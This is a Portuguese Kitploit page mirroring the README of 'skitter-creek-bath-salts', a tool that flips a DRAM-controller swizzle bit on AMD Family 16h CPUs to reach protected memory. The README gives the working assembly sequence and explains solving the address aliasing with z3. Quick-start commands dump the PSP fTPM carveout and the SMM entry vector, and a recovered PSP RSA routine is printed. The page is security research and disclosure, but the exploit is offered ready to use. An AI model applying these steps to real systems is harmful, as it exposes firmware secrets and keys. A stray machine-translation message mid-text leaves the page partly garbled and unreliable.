Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
skitter-creek-bath-salts — Desbloqueando _tudo_ na CPU com DRAM scrambling | Kitploit
Ferramentas/GitHubGitHub/xoreaxeaxeax/skitter-creek-bath-salts
Análise de VulnerabilidadesExploraçãoEngenharia ReversaHacking de HardwareSegurança de HardwareAnálise de Firmware
GitHubxoreaxeaxeax/skitter-creek-bath-salts

skitter-creek-bath-salts

Desbloqueando _tudo_ na CPU com DRAM scrambling

Ver Repositório
2.2k17783há 2 mesesRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
# skitter-creek-bath-salts

> *Desbloqueando **tudo** na CPU com embaralhamento de DRAM — PSP, C6, microcódigo,
> SMM, e qualquer outra coisa que as especificações deixaram de fora.*

`&x == &x`.

Normalmente.

![Desespaguetificando a DRAM](https://assets.kitploit.com/production/public/readmes/50084/b1b8c94a6adabe871f8c3f9d181070b369561a5b4baf6d70242f0542aa55d7a3.gif)

Cutuque o controlador de DRAM e um endereço pode ser feito para aterrissar onde você quiser na
memória. `skitter-creek-bath-salts` modifica as camadas inferiores da hierarquia de memória
para religar as traduções de endereços físicos da DRAM. Isso embaralha a
memória da plataforma, expondo regiões protegidas da DRAM — carveouts invisíveis até
para o kernel. Quando as traduções de endereços quebram, as primitivas de segurança
construídas sobre elas também quebram, e nós desbloqueamos *tudo*.

---

## TL;DR

- [Desbloqueie seu Platform Security Processor](#quick-start-unlock-your-platform-security-processor)
- [Desbloqueie o System Management Mode](#quick-start-unlock-system-management-mode)
- [Desbloqueie a DRAM C6](#quick-start-unlock-cc6-dram)
- [Desbloqueie seu microcódigo da CPU](#quick-start-unlock-your-cpu-microcode)

---

## Alvo

Desenvolvido e testado em **CPUs AMD Family 16h**, a última geração cujos
datasheets documentam os registradores de tradução do controlador de DRAM — e mostram que
eles não podem ser bloqueados. 17h e além simplesmente omitem essa informação. A
[odisseia de `*p`](#the-odyssey-of-p) é semelhante entre gerações e
arquiteturas, e as transformações subjacentes se estendem até a ARM, RISC-V, e
além; `skitter-creek-bath-salts` nos mostra [**apenas como começar**](#the-shared-pipeline).

---

## A odisseia de `*p`

> *É um longo caminho para baixo.*

A memória é construída sobre camadas de abstração tão profundas que se tornam quase absurdas. Quando
seu código desreferencia `*p`, ele parece acessar a DRAM em `p`. Não acessa —
`p` é um endereço virtual, e antes que um único bit da DRAM seja tocado, ele deve
sobreviver à provação abaixo:```
         ── CPU core / MMU ─────────────────────────────────────────────────
       ┌─ VA                                                  ← 64-bit virtual address from load/store
       │
       └> canonical-form check ──────────────────────┐        ← bits [63:48] sign-extend from bit 47
       ┌─ segment base add <─────────────────────────┘        ← FS.base / GS.base (MSR_FS_BASE, MSR_GS_BASE)
       │
       └> TLB probe ─────────────────────────────────┐        ← tagged by PCID (host) / VPID (guest)
              hit  → physical address k              │
              miss → engage hardware page walker     │
       ┌─ page walk (from CR3) <─────────────────────┘        ← walked only on TLB miss
       │      PML5[VA 56:48]                                  ← only if CR4.LA57
       │      PML4[VA 47:39]
       │      PDPT[VA 38:30]                                  ← 1 GiB leaf possible
       │      PD  [VA 29:21]                                  ← 2 MiB leaf possible
       │      PT  [VA 20:12]
       │      PTE                                             ← R/W · U/S · NX · A/D · PAT · PCD · PWT · G
       │
       └> per-level checks ──────────────────────────┐        ← evaluated at every level of the walk
              privilege (U/S)                        │        ← CPL vs PTE.U/S
              write    (R/W)                         │        ← + CR0.WP
              execute  (NX)                          │        ← EFER.NXE
              SMEP / SMAP                            │        ← CR4.SMEP · CR4.SMAP · EFLAGS.AC
              protection keys                        │        ← PKRU (user) · IA32_PKRS (supervisor)
       ┌─ A/D bit update <───────────────────────────┘        ← locked RMW on PTE
       │
       └> if guest: EPT / NPT re-walk ───────────────┐        ← each guest-PA above re-walked
              EPT-PML4 → EPT-PDPT → EPT-PD → EPT-PT  │        ← + EPT memory-type override
              ⇒ ~5× walks per single guest walk      │
       ┌─ TLB shootdown IPIs <───────────────────────┘        ← invlpg broadcast to peer vCPUs
       │
       │ ── IOMMU  (chipset / I/O fabric) ──────────────────────────────────
       │
       └> if device-initiated, IOMMU page walk ──────┐        ← VT-d / AMD-Vi: device-ID → domain → tables
                                                     │
       ┌──  **physical address k** <─────────────────┘
       │
       │ ── CPU core / MMU — memory-type resolution ────────────────────────
       │
       └> MTRR range match ──────────────────────────┐        ← IA32_MTRR_DEF_TYPE + fixed/variable MTRRs
       ┌─ PAT entry select <─────────────────────────┘        ← IA32_PAT[ PTE.PAT:PCD:PWT ]
       │
       └> effective memory type ─────────────────────┐        ← { WB, WT, WC, WP, UC-, UC }
                                                     │
         ── CPU uncore — caches & coherence ────────────────────────────────
                                                     │
       ┌─ L1-D probe <───────────────────────────────┘        ← VIPT, per-core
       │
       └> L2 probe ──────────────────────────────────┐        ← per-core / per-CCX
       ┌─ LLC probe + directory consult <────────────┘        ← shared, sliced
       │
       └> snoop / coherence ─────────────────────────┐        ← MESI / MOESI broadcast
              intra-socket                           │        ← broadcast to peer cores
              inter-socket                           │        ← QPI · UPI · Infinity Fabric · CXL.cache
              home-node directory response           │        ← data | intervention | abort
                                                     │
         ── system data fabric / interconnect ──────────────────────────────
                                                     │
       ┌─ if MMIO range or sub-4 GiB MMIO hole <─────┘        ← uncore/data fabric posted/non-posted txn
       │      → device BAR; done
       │
       └> else DRAM-bound: data fabric / mesh ───────┐        ← AMD DF · Intel mesh-or-ring uncore
                                                     │
  ┏━━      ── MCT / IMC (memory controller) ────────────────────────────────
W ┃    ┌─ DRAM hole remap <──────────────────────────┘        ← high-memory remap above TOM
E ┃    │
  ┃    └> memory-region exclusion remap ─────────────┐        ← reserved / protected ranges
  ┃    ┌─ channel interleave hash <──────────────────┘        ← XOR of selected PA bits → channel
A ┃    │
R ┃    └> rank interleave hash ──────────────────────┐        ← XOR of selected PA bits → rank
E ┃    ┌─ bank interleave hash <─────────────────────┘        ← XOR of selected PA bits → bank
  ┃    │
  ┃    └> bank swizzle / XOR scramble ───────────────┐        ← vendor- and BIOS-configurable
H ┃    ┌─ chip-select normalize (DCT) <──────────────┘        ← per-rank CS line
E ┃    │      rank → CS map
R ┃    │
E ┃    └> sub-channel select ────────────────────────┐        ← DDR5 / LPDDR5 only
  ┗━━                                                │
                                                     │
          DRAM coordinates <─────────────────────────┘        ← bank group · bank · row (RAS) · column (CAS)
```
Este projeto atua nos níveis mais profundos do pipeline `*p`, a camada MCT/DCT
— onde um endereço físico proveniente do data fabric/interconnect entra no
controlador de memória e é reescrito uma última vez nas coordenadas brutas da DRAM que são
emitidas para o DIMM.

---

## Espaguetificando a DRAM

> Endereços físicos são, na verdade, mais uma sugestão.```nasm
xor dword [0xf80c2094], 0x00400000
```
Esse é o exploit. Todo ele.

Um único bit-flip no controlador DRAM reconfigura a base do pipeline `*p`, e
os dados que estavam em `&x` agora estão em outro lugar no meio do percurso. De repente, `&x != &x`.
Todos os mecanismos que a CPU, o firmware, o uncore e o chipset usam para isolar a memória
protegida ficam acima do controlador de memória, e nenhum deles vê o que acontece abaixo.
As barreiras protegem endereços físicos, não coordenadas DRAM; reorganize as
coordenadas e as barreiras acima nunca percebem.

Mas reconfigurar a DRAM é fácil. O bit acima é o bank-swizzle-mode no DCT,
e é apenas um entre dezenas que controlam os remapeamentos de endereço na camada final —
tudo o que você precisa fazer é cutucá-los para fazer tudo o que foi construído por cima desmoronar. A
parte mais difícil, então, é manter a plataforma funcionando enquanto toda a memória do sistema é
embaralhada por baixo dela.

O truque: seja rápido e *não toque na DRAM*. Desative as APs, prepare as
TLBs, aqueça o cache, desative as interrupções, faça flush do alvo, serialize os acessos
à memória e torça para que a CPU tenha pré-buscado as próximas instruções. Então reconfigure
o MCT/DCT para transformar a DRAM em espaguete, pegue alguns dados da região protegida,
reverta os mapeamentos, serialize novamente, ative as interrupções, retome as APs, e a
plataforma volta ao normal.```nasm
mov eax, [0xf80c2094]          ; prime mmio TLB
mov eax, [0x6f800000]          ; prime target TLB
pushf                          ; preserve flags
cli                            ; interrupts off
clflush [0x6f800000]           ; evict the target, force the dram read
mfence                         ; barrier - no coherent world dram access
lfence                         ;   reordered into spaghettified view
xor dword [0xf80c2094], 1<<22  ; flip dct swizzle → spaghettify dram
mov ebx, [0x6f800000]          ; fetch target in spaghettified view
xor dword [0xf80c2094], 1<<22  ; restore dct swizzle → unscramble
mfence                         ; barrier - no spaghettified dram access
lfence                         ;   reordered into coherent world view
popf                           ; interrupts back on
```
Com uma configuração cuidadosa de paginação, estados de cache, threading e TLBs, o scrambling de endereços pode ser feito funcionar a partir de C, para ilustrar o colapso do pipeline `*p`, e a visão corrompida da plataforma quando de repente `&x != &x`:

![&x manipulation](https://assets.kitploit.com/production/public/readmes/50084/22b2cf4272f032ae40edbca7d3b830af38cceea9d667e8f4ef39457354fce3b8.gif)

Assim, podemos reconfigurar o mapa e restaurá-lo sem deixar rasto. Tudo o que resta é saber em que o reconfigurámos.

---

## Desbloquear *tudo*

> Todas as regiões de memória protegidas na plataforma, acessíveis com uma calculadora.

Com a abordagem acima, podemos reprogramar a transformação MCT/DCT num sistema em execução — reorganizando o estágio mais baixo do pipeline `*p` para fazer scrambling da memória por baixo de todas as proteções construídas acima dele.

Mas há um desafio: embora possamos reprogramar a tradução com um simples `xor dword [0xf80c2094], 0x00400000`, não temos ideia de que novas transformações o MCT/DCT irá usar (as datasheets são subespecificadas aqui — os mapas xor estão errados, o estágio subtrativo MMIO é desordenado, e os detalhes variam entre modelos).
Sem isto, a memória faz scrambling, mas não temos forma de a reconstruir.

Felizmente, a transformação de endereços do controlador DRAM é um mapa linear GF(2), o que significa que podemos reconstruir a memória com scrambling usando álgebra linear básica.

Primeiro, considere o caso normal: a transformação direta da configuração padrão do MCT/DCT é aplicada a algum endereço físico, que aterra num local secreto na DRAM:```
    ┌                                 ┐   ┌   ┐     ┌   ┐
    │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 1 │
    │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │  =  │ 1 │
    │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 │     │ 0 │
    └                                 ┘   └   ┘     └   ┘
                M_firmware               target     secret
```
Esta é a visão *coerente* da memória: o estágio mais baixo do pipeline `*p`
opera exatamente como deveria.

Agora reconecte o estágio MCT/DCT de `*p` com `xor dword [0xf80c2094], 0x00400000`,
e a plataforma entra em uma visão embaralhada/espaguetificada da memória onde uma
transformação diferente permite que um *alias* alcance o mesmo segredo da DRAM:```
    ┌                                 ┐   ┌   ┐     ┌   ┐
    │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 1 │
    │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 1 0 0 1 0 0 1 0 0 │   │ 1 │     │ 0 │
    │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 1 │
    │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 1 │
    │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ · │ 0 │  =  │ 1 │
    │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 │     │ 0 │
    └                                 ┘   └   ┘     └   ┘
                M_attacker                alias     secret
```
Este alias nos permite alcançar o mesmo segredo sem acionar os bloqueios e defesas de plataforma existentes, construídos para a visão coerente. Para encontrar o alias, componha o inverso do hash de ataque/espaguetificado com o avanço do hash de firmware/coerente, para obter a tradução que alcançará qualquer segredo a partir da configuração maliciosa de MCT/DCT:```
    ┌                                 ┐   ┌                                 ┐   ┌   ┐     ┌   ┐
    │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │   │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 1 │
    │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │  =  │ 0 │
    │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 │     │ 0 │
    └                                 ┘   └                                 ┘   └   ┘     └   ┘
               M_attacker⁻¹                              M_firmware             target    alias
```
O único desafio é que as matrizes são desconhecidas, o que significa que *não
temos ideia* de como a memória está realmente embaralhada, e nenhuma transformação
para usar para alcançar o segredo em primeiro lugar:```
    ┌                                 ┐   ┌                                 ┐   ┌   ┐     ┌   ┐
    │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ 0 │     │ ? │
    │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ 0 │     │ ? │
    │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ 0 │     │ ? │
    │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ 0 │     │ ? │
    │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ 0 │     │ ? │
    │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ 1 │     │ ? │
    │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ 0 │     │ ? │
    │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ 1 │  =  │ ? │
    │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ 0 │     │ ? │
    │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ 1 │     │ ? │
    │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ 0 │     │ ? │
    │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ 0 │     │ ? │
    │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ 0 │     │ ? │
    │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ 0 │     │ ? │
    │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ 0 │     │ ? │
    │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ 0 │     │ ? │
    └                                 ┘   └                                 ┘   └   ┘     └   ┘
               M_attacker⁻¹                              M_firmware             target    alias
```
Felizmente, neste ponto é apenas álgebra linear, e você poderia resolver as
transformações à mão se quisesse. Ou: uma calculadora.

Usamos [z3](https://github.com/z3prover/z3). Primeiro, o solucionador SMT precisa
de restrições para trabalhar.

Comece na visão coerente, modifique o MCT/DCT para alternar para a visão espaguetificada,
insira algum valor sentinela como `0xdeadc0de` em um endereço aleatório na memória,
volte para a visão coerente e varra a memória em busca de onde a sentinela
ressurge. Isso fornece um par (alvo, alias) — um ponto de dados concreto mostrando dois
endereços físicos que mapeiam para a mesma célula na DRAM. Repita o processo,
reúna alguns dados, passe-os para o z3, e ele resolve a matriz de transformação
necessária para converter entre as duas visões — qualquer endereço físico da visão coerente de um
lado, seu alias na visão espaguetificada do outro:```
    ┌                                 ┐   ┌   ┐     ┌   ┐
    │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 1 │
    │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 1 │  =  │ 0 │
    │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 │     │ 0 │
    └                                 ┘   └   ┘     └   ┘
         M_attacker⁻¹ ∘ M_firmware        target    alias
```
Alimentar pares de alias ao z3 um de cada vez permite-nos observar o solucionador SMT a decifrar o embaralhamento de memória em tempo real, como mostrado na [imagem de abertura](#skitter-creek-bath-salts).

A transformação resolvida é uma pedra de roseta: qualquer endereço alvo na visão coerente mapeia para um alias que alcança a mesma DRAM na visão espaguetificada. Para alcançar qualquer memória protegida, pegue num endereço que normalmente não conseguimos tocar — memória privada do PSP, SMRAM, o estado de idle C6 — e passe-o pela transformação para obter o seu alias. Depois reconfigure o DCT com `xor dword [0xf80c2094], 0x00400000`, leia ou escreva o alias, e volte atrás com um segundo `xor`. O caminho do alias através do pipeline `*p` nunca encontra uma barreira que a plataforma construiu para a visão coerente — acesso irrestrito a qualquer coisa na DRAM.

![desbloquear DRAM](https://assets.kitploit.com/production/public/readmes/50084/b47e56236d000ca8c4e1e865c814c41c1ec1fc9add5bad91f8da6e4ca0491bc7.gif)

No fim, tudo o que foi tão cuidadosamente isolado — memória privada do PSP, SMRAM, o estado de idle C6, inacessível a partir do SO, ring-0, por vezes a própria CPU — continua a residir nos mesmos condensadores de DRAM. Mas as fechaduras foram construídas em torno da visão coerente da memória, e não fazem nada contra um alias espaguetificado que alcança a mesma célula.

Basta inverter um bit no nível final do pipeline `*p`, e desbloqueámos tudo.

---

## Início rápido: desbloquear o seu Platform Security Processor

> *Manipule o seu PSP, veja o que acontece.*

O fTPM corre no próprio núcleo ARM do PSP, numa carveout de DRAM logo após o topo-de-memória visível. Alcance-o fazendo alias de um endereço físico visível ao SO para lá, extraia os bytes, desmonte.```sh
# Bail out early on platforms this was never tested on.
./userspace/platform_check || exit 1

# Resolve the PSP DRAM carveout — sets PSP_BASE / PSP_SIZE (0x7f800000 /
# 0x800000 on the test box). Swap 2x4gb for whichever data/maps/ prefix
# matches your DIMMs; one --map per saved map.
eval "$(sudo ./userspace/dram_carveouts --region psp)"
sudo ./userspace/dram_dump --protected-pa $PSP_BASE --length $PSP_SIZE \
    $(printf -- '--map %s ' data/maps/2x4gb_*.map) > psp.bin

# The PSP is an ARM core, so disassemble as Thumb-2. Carve crAmd_ModExp
# (0x64 bytes at PSP_BASE+0x19d4) straight out of the captured image.
objdump -b binary -m armv7 -M force-thumb --adjust-vma=$PSP_BASE \
    --start-address=$((PSP_BASE + 0x19d4)) \
    --stop-address=$((PSP_BASE + 0x19d4 + 0x64)) \
    -D psp.bin
```
Nenhum conteúdo foi fornecido. Por favor, cole o trecho Markdown que deseja traduzir.```armasm
; crAmd_ModExp — the fTPM's RSA modular-exponentiation routine, recovered intact
; from the PSP's private DRAM.
7f8019d4:  b5f0       push  {r4, r5, r6, r7, lr}
7f8019d6:  b0e5       sub   sp, #404
7f8019de:  2280       movs  r2, #128                  ; 1024-bit operand
7f8019e4:  f7fe ffef  bl    0x7f8009c6                ; import base (aA)
7f8019ee:  a0eb       adr   r0, 0x7f801d9c            ; "crAmd_ModExp aA failed, status = 0x%x"
7f8019f8:  f7fe ffe5  bl    0x7f8009c6                ; import exponent (aB)
7f801a02:  a0f0       adr   r0, 0x7f801dc4            ; "crAmd_ModExp aB failed status = 0x%x"
7f801a18:  f000 fdd4  bl    0x7f8025c4                ; the modexp itself
7f801a20:  a0f2       adr   r0, 0x7f801dec            ; "crAmd_ModExp failed ret=0x%08x, exit"
7f801a22:  f000 fef5  bl    0x7f802810                ; log error
7f801a2e:  f001 e92a  blx   0x7f802c84                ; export result
7f801a36:  bdf0       pop   {r4, r5, r6, r7, pc}
```
Esse é o motor RSA do PSP — o modexp por trás de cada assinatura fTPM, e por trás
dos testes de Miller-Rabin que geram suas chaves — extraído da memória que o PSP
deveria possuir sozinho, isolado no controlador de memória, opaco até mesmo para
o ring-0. Modifique como achar adequado.

---

## Início rápido: desbloquear o System Management Mode

> *Leia o que o SMM esconde.*

O vetor de entrada do handler de SMI fica em `SMBASE + 0x8000`. O `SMBASE` está no
MSR `0xc0010111`. Leia-o, extraia os bytes através do mapa de alias e canalize-os
diretamente para um disassembler:```sh
# Bail out early on platforms this was never tested on.
./userspace/platform_check || exit 1

sudo modprobe msr

# SMBASE is per-core; core 0's lives in MSR 0xc0010111.
SMM_BASE=0x$(sudo rdmsr -p 0 0xc0010111)
SMI_ENTRY=$(( SMM_BASE + 0x8000 ))

# Dump the entry vector through the alias map and disassemble on the fly.
# SMM starts in real mode, so ndisasm gets -b 16. One --map per saved map;
# printf expands the glob into a --map for each (at_swizzle, at_bankswap) combo.
sudo ./userspace/dram_dump --protected-pa $SMI_ENTRY --length 0x40 \
    $(printf -- '--map %s ' data/maps/2x4gb_*.map) | ndisasm -b 16 -
```
```

---

[Read more](https://github.com/xoreaxeaxeax/skitter-creek-bath-salts)
Baixar ferramenta